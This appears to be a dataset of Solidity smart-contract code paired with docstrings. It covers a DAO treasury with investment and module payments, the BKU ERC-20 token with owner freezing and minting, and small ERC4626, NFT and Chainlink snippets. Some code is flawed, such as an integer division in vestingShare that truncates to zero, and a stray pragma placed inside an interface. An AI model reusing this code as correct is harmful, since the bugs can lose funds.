DataTypes.ModulePayment) private _modulePayments; constructor( uint256 timelockDelay, address membershipTokenAddress, address shareTokenAddress, DataTypes.InvestmentSettings memory settings ) TimelockController(timelockDelay, _proposers, _executors) { membership = membershipTokenAddress; share = shareTokenAddress; investmentSettings = settings; _mappingSettings(settings); } modifier investmentEnabled() { if (!investmentSettings.enableInvestment) revert Errors.InvestmentDisabled(); _; } /** * @dev Shortcut method * Allows distribution of shares to members in corresponding proportions (index is tokenID) * must be called by the timelock itself (requires a voting process) */ function vestingShare(uint256[] calldata tokenId, uint8[] calldata shareRatio) public onlyRole(TIMELOCK_ADMIN_ROLE) { uint256 _shareTreasury = IShare(share).balanceOf(address(this)); if (_shareTreasury == 0) revert Errors.NoShareInTreasury(); uint256 _membersShare = _shareTreasury * (shareSplit.members / 100); if (_membersShare == 0) revert Errors.NoMembersShareToVest(); for (uint256 i = 0; i < tokenId.length; i++) { address _member = IMembership(membership).ownerOf(tokenId[i]); IShare(share).transfer(_member, (_membersShare * shareRatio[i]) / 100); } } /** * @dev Shortcut method * to update settings for investment (requires a voting process) */ function updateInvestmentSettings( DataTypes.InvestmentSettings memory settings ) public onlyRole(TIMELOCK_ADMIN_ROLE) { investmentSettings = settings; _mappingSettings(settings); } /** * @dev Shortcut method * to update share split (requires a voting process) */ function updateShareSplit(DataTypes.ShareSplit memory _shareSplit) public onlyRole(TIMELOCK_ADMIN_ROLE) { shareSplit = _shareSplit; } /** * @dev Invest in ETH * Allows external investors to transfer to ETH for investment. * ETH will issue share token of DAO at a set rate */ function invest() external payable investmentEnabled { if (investmentSettings.investRatioInETH == 0) revert Errors.InvestmentDisabled(); if (msg.value < investmentSettings.investThresholdInETH) revert Errors.InvestmentThresholdNotMet( investmentSettings.investThresholdInETH ); _invest( msg.value / investmentSettings.investRatioInETH, address(0), msg.value ); } /** * @dev Invest in ERC20 tokens * External investors are allowed to invest in ERC20, * which is issued as a DAO share token at a set rate. * @notice Before calling this method, the approve method of the corresponding ERC20 contract must be called. */ function investInERC20(address token) external investmentEnabled { if (_investRatioInERC20[token] == 0) revert Errors.InvestmentInERC20Disabled(token); uint256 _radio = _investRatioInERC20[token]; if (_radio == 0) revert Errors.InvestmentInERC20Disabled(token); uint256 _threshold = _investThresholdInERC20[token]; uint256 _allowance = IShare(token).allowance(_msgSender(), address(this)); if (_allowance < _threshold) revert Errors.InvestmentInERC20ThresholdNotMet(token, _threshold); IShare(token).transferFrom(_msgSender(), address(this), _allowance); _invest(_allowance / _radio, token, _allowance); } /** * @dev Pull module payment * The DAO module pulls the required eth and ERC20 token * @notice Need to ensure that the number of authorizations is greater than the required number before pulling. * this method is usually required by the module designer, * and the method checks whether the module is mounted on the same DAO */ function pullModulePayment( uint256 eth, address[] calldata tokens, uint256[] calldata amounts ) public { if (tokens.length != amounts.length) revert Errors.InvalidTokenAmounts(); address moduleAddress = _msgSender(); if (IModule(moduleAddress).membership() != membership) revert Errors.NotMember(); DataTypes.ModulePayment storage _payments = _modulePayments[moduleAddress]; address _timelock = address(IModule(moduleAddress).timelock()); address payable _target = payable(_timelock); if (!_payments.approved) revert Errors.ModuleNotApproved(); if (eth > 0) { if (eth > _payments.eth) revert Errors.NotEnoughETH(); _payments.eth -= eth; _target.sendValue(eth); } for (uint256 i = 0; i < tokens.length; i++) { IERC20 _token = IERC20(tokens[i]); if (_token.allowance(address(this), _timelock) < amounts[i]) revert Errors.NotEnoughTokens(); _token.transferFrom(address(this), _timelock, amounts[i]); _payments.erc20[tokens[i]] -= amounts[i]; } emit Events.ModulePaymentPulled( moduleAddress, eth, tokens, amounts, block.timestamp ); } /** * @dev Approve module payment * Authorize a module to use the corresponding eth and ERC20 token */ function approveModulePayment( address moduleAddress, uint256 eth, address[] calldata tokens, uint256[] calldata amounts ) public onlyRole(TIMELOCK_ADMIN_ROLE) { if (tokens.length != amounts.length) revert Errors.InvalidTokenAmounts(); if (IModule(moduleAddress).membership() != membership) revert Errors.NotMember(); DataTypes.ModulePayment storage _payments = _modulePayments[moduleAddress]; _payments.approved = true; _payments.eth = eth; for (uint256 i = 0; i < tokens.length; i++) { IERC20 _token = IERC20(tokens[i]); if (_token.balanceOf(address(this)) < amounts[i]) revert Errors.NotEnoughTokens(); _payments.erc20[tokens[i]] = amounts[i]; _token.approve(address(IModule(moduleAddress).timelock()), amounts[i]); } emit Events.ModulePaymentApproved( moduleAddress, eth, tokens, amounts, block.timestamp ); } /** * @dev Private method of realizing external investments * The converted share token is automatically transferred to the external investor, * and if there are not enough shares in the vault, additional shares are automatically issued. * At the same time, the act of investing will mint a new investor status NFT membership card, * ensuring that the investor can participate in the voting of board members (1/1 NFT Votes). */ function _invest( uint256 _shareTobeClaimed, address _token, uint256 _amount ) private { uint256 _shareTreasury = IShare(share).balanceOf(address(this)); if (_shareTreasury < _shareTobeClaimed) { IShare(share).mint(address(this), _shareTobeClaimed - _shareTreasury); } IShare(share).transfer(_msgSender(), _shareTobeClaimed); IMembership(membership).investMint(_msgSender()); if (_token == address(0)) { emit Events.InvestInETH(_msgSender(), msg.value, _shareTobeClaimed); } else { emit Events.InvestInERC20( _msgSender(), _token, _amount, _shareTobeClaimed ); } } // @dev mapping arrays to maps cause of the lack of support of params mapping in Solidity function _mappingSettings(DataTypes.InvestmentSettings memory settings) private { if (settings.investInERC20.length > 0) { for (uint256 i = 0; i < settings.investInERC20.length; i++) { address _token = settings.investInERC20[i]; _investThresholdInERC20[_token] = settings.investThresholdInERC20[i]; _investRatioInERC20[_token] = settings.investRatioInERC20[i]; } } } }
Invest in ERC20 tokens External investors are allowed to invest in ERC20, which is issued as a DAO share token at a set rate. Before calling this method, the approve method of the corresponding ERC20 contract must be called./
function investInERC20(address token) external investmentEnabled { if (_investRatioInERC20[token] == 0) revert Errors.InvestmentInERC20Disabled(token); uint256 _radio = _investRatioInERC20[token]; if (_radio == 0) revert Errors.InvestmentInERC20Disabled(token); uint256 _threshold = _investThresholdInERC20[token]; uint256 _allowance = IShare(token).allowance(_msgSender(), address(this)); if (_allowance < _threshold) revert Errors.InvestmentInERC20ThresholdNotMet(token, _threshold); IShare(token).transferFrom(_msgSender(), address(this), _allowance); _invest(_allowance / _radio, token, _allowance); }
2,520,457
pragma solidity ^0.4.24; /* * Creator: BKU (BLOCKUNION) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * BKU Token smart contract. */ contract BKUToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 1888888888 * (10**18); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function BKUToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "BLOCKUNION"; string constant public symbol = "BKU"; uint8 constant public decimals = 18; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
Get total number of tokens in circulation. return total number of tokens in circulation/
function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "BLOCKUNION"; string constant public symbol = "BKU"; uint8 constant public decimals = 18;
6,046,296
./full_match/1/0x9a8A1D7Eac06871f60158f127704F3910613E3c3/sources/contracts/adapters/SanTokenERC4626Adapter.sol
Internal version of the `convertToAssets` function
function _convertToAssets(uint256 shares, MathUpgradeable.Rounding rounding) internal view returns (uint256 assets) { (uint256 sanRate, ) = _estimateSanRate(); return shares.mulDiv(sanRate, _BASE_18, rounding); }
3,219,227
./full_match/3/0x1D3bB909600c6c2F3Ae6014EDb3a9b5F5cf20aA3/sources/browser/Timestamp.sol
Set the tokenURI tokenId Token ID _tokenURI Token URI/
function setTokenURI(uint256 tokenId, string memory _tokenURI) public onlyOwner { _setTokenURI(tokenId, _tokenURI); }
8,115,050
./full_match/5/0x65afA308A04ce593F6F1A8BD7A1458Db3266c72c/sources/contracts/chainlink/interfaces/AggregatorV3Interface.sol
getRoundData and latestRoundData should both raise "No data present" if they do not have data to report, instead of returning unset values which could be misinterpreted as actual reported values.
interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); pragma solidity ^0.7.6; }
7,061,193